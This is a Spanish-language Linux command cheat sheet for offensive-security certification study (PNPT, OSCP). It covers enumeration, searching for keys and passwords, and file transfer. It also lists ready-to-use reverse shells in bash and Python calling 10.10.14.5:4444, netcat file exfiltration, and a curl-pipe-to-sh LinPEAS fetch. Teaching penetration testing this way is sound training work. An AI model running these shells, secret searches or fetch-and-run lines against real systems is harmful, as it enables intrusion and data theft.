Si te estás preparando para el PNPT, el OSCP o cualquier certificación de seguridad ofensiva, dominar la terminal Linux es lo primero que tienes que hacer. Esta cheat sheet reúne los comandos más usados en pentesting real: navegación del sistema, gestión de permisos, enumeración de red, búsqueda de ficheros, transferencia de datos y reconocimiento de servicios. Todos los comandos son reales y funcionan en distribuciones como Kali Linux o Parrot OS.

Navegación y gestión del sistema de ficheros
| Comando | Qué hace |
|---|---|
pwd |
Muestra el directorio actual |
ls -la |
Lista ficheros incluyendo ocultos y permisos |
cd /ruta |
Cambia al directorio indicado |
find / -name "*.conf" 2>/dev/null |
Busca ficheros .conf en todo el sistema, silenciando errores |
find / -perm -4000 2>/dev/null |
Encuentra binarios con bit SUID activo (clave para escalada de privilegios) |
locate passwd |
Búsqueda rápida por nombre (requiere base de datos actualizada) |
which python3 |
Ruta del binario en el PATH |
history |
Historial de comandos ejecutados |
cat /etc/passwd |
Lista usuarios del sistema |
cat /etc/shadow |
Hashes de contraseñas (solo root) |
id |
UID, GID y grupos del usuario actual |
uname -a |
Versión del kernel y arquitectura |
cat /etc/os-release |
Distribución y versión del SO |
Permisos y usuarios
| Comando | Qué hace |
|---|---|
chmod 755 fichero |
rwx para propietario, rx para grupo y otros |
chmod +x script.sh |
Añade permiso de ejecución |
chown usuario:grupo fichero |
Cambia propietario y grupo |
sudo -l |
Lista qué comandos puede ejecutar el usuario con sudo |
su - usuario |
Cambia de usuario con entorno completo |
cat /etc/sudoers |
Reglas de sudo (requiere permisos) |
getfacl fichero |
Muestra ACLs extendidas |
Enumeración de red
| Comando | Qué hace |
|---|---|
ip a |
Interfaces de red e IPs asignadas |
ip route |
Tabla de rutas |
ss -tulpn |
Puertos TCP/UDP en escucha con PID asociado |
netstat -antp |
Conexiones activas y puertos (alternativa clásica a ss) |
arp -a |
Tabla ARP: hosts descubiertos en la red local |
cat /etc/hosts |
Resoluciones locales de nombres |
cat /etc/resolv.conf |
Servidores DNS configurados |
ping -c 4 192.168.1.1 |
Comprueba conectividad con 4 paquetes ICMP |
curl -I http://objetivo |
Cabeceras HTTP de respuesta |
wget -q -O- http://objetivo |
Descarga silenciosa a stdout |
nmap -sC -sV -oN scan.txt 192.168.1.0/24 |
Escaneo con scripts por defecto y versiones, salida a fichero |
nmap -p- --open -T4 192.168.1.10 |
Todos los puertos abiertos, velocidad alta |
Búsqueda de información sensible en el sistema
| Comando | Qué hace |
|---|---|
grep -r "password" /var/www/ 2>/dev/null |
Busca la cadena «password» en ficheros web recursivamente |
find / -name "id_rsa" 2>/dev/null |
Claves privadas SSH |
find / -name "*.kdbx" 2>/dev/null |
Bases de datos KeePass |
find / -writable -type f 2>/dev/null |
Ficheros escribibles por el usuario actual |
crontab -l |
Tareas programadas del usuario actual |
cat /etc/crontab |
Tareas del sistema (posibles vectores de escalada) |
ps aux |
Procesos en ejecución con usuario propietario |
env |
Variables de entorno (pueden contener secretos) |
Transferencia de ficheros
Una vez dentro de un sistema, necesitas mover herramientas o extraer datos. Estos son los métodos más usados en CTF y pruebas reales:
| Método | Comando |
|---|---|
| Servidor HTTP (atacante) | python3 -m http.server 8080 |
| Descarga en víctima (wget) | wget http://10.10.14.5:8080/linpeas.sh -O /tmp/linpeas.sh |
| Descarga en víctima (curl) | curl http://10.10.14.5:8080/chisel -o /tmp/chisel |
| Copia SCP (atacante → víctima) | scp fichero usuario@192.168.1.10:/tmp/ |
| Netcat: enviar fichero | nc -w 3 192.168.1.20 4444 < fichero.tar.gz |
| Netcat: recibir fichero | nc -lvnp 4444 > fichero.tar.gz |
| Base64 encode/decode | base64 fichero | tr -d 'n' / echo "cadena" | base64 -d > fichero |
Shells y estabilización de reverse shells
| Acción | Comando |
|---|---|
| Listener Netcat | nc -lvnp 4444 |
| Reverse shell bash | bash -i >& /dev/tcp/10.10.14.5/4444 0>&1 |
| Reverse shell Python 3 | python3 -c 'import socket,subprocess,os;s=socket.socket();s.connect(("10.10.14.5",4444));[os.dup2(s.fileno(),f) for f in (0,1,2)];subprocess.run(["/bin/bash"])' |
| Estabilizar TTY | python3 -c 'import pty;pty.spawn("/bin/bash")' |
| TTY completa (paso 1 víctima) | Ctrl+Z → stty raw -echo; fg |
| TTY completa (paso 2 víctima) | export TERM=xterm |
Escalada de privilegios: comprobaciones rápidas
| Comprobación | Comando |
|---|---|
| Kernel exploitables | uname -r y buscar en exploit-db |
| SUID peligrosos | find / -perm -4000 -type f 2>/dev/null |
| Capabilities | getcap -r / 2>/dev/null |
| Sudo sin contraseña | sudo -l |
| Escritura en /etc/passwd | ls -la /etc/passwd |
| Scripts en cron escribibles | Combinar cat /etc/crontab con ls -la sobre los scripts |
| LinPEAS automatizado | curl -L https://github.com/peass-ng/PEASS-ng/releases/latest/download/linpeas.sh | sh |
Para profundizar en los fundamentos antes de aplicar estas técnicas, consulta nuestra guía sobre cómo empezar en ciberseguridad desde cero y el catálogo de cursos y certificaciones disponibles.
Preguntas frecuentes
¿Qué distribución Linux es mejor para aprender hacking?
Kali Linux es el estándar de la industria y viene con la mayoría de herramientas preinstaladas (Nmap, Metasploit, Burp Suite, Wireshark, etc.). Parrot OS Security es una alternativa más ligera y válida para equipos con menos RAM. Ambas son distribuciones basadas en Debian, y los comandos de esta cheat sheet funcionan en las dos sin cambios.
¿Necesito memorizar todos estos comandos para el PNPT o el OSCP?
No de forma exacta, pero sí tienes que entender qué hace cada uno y cuándo aplicarlo. En el examen práctico del PNPT tienes 5 días con acceso a tus notas y a Internet, así que lo importante es entender el flujo (reconocimiento → enumeración → explotación → post-explotación) y saber dónde buscar cuando algo no funciona. Para el OSCP la mentalidad es la misma: razonamiento por encima de memorización.
¿Cuál es el primer comando que debo ejecutar al acceder a un sistema Linux comprometido?
El flujo estándar es: id (quién soy), uname -a (qué kernel corre), ip a (en qué red estoy) y sudo -l (qué puedo hacer sin contraseña). Con esa información en 30 segundos ya tienes contexto suficiente para decidir el siguiente paso. Después ejecuta LinPEAS para un análisis automático completo.
¿Qué diferencia hay entre ss y netstat?
ss es el reemplazo moderno de netstat, más rápido y disponible por defecto en distribuciones actuales. netstat forma parte del paquete net-tools, que ya no se instala por defecto en Debian/Ubuntu. En entornos de CTF y máquinas antiguas encontrarás ambos, así que conviene conocer los dos.
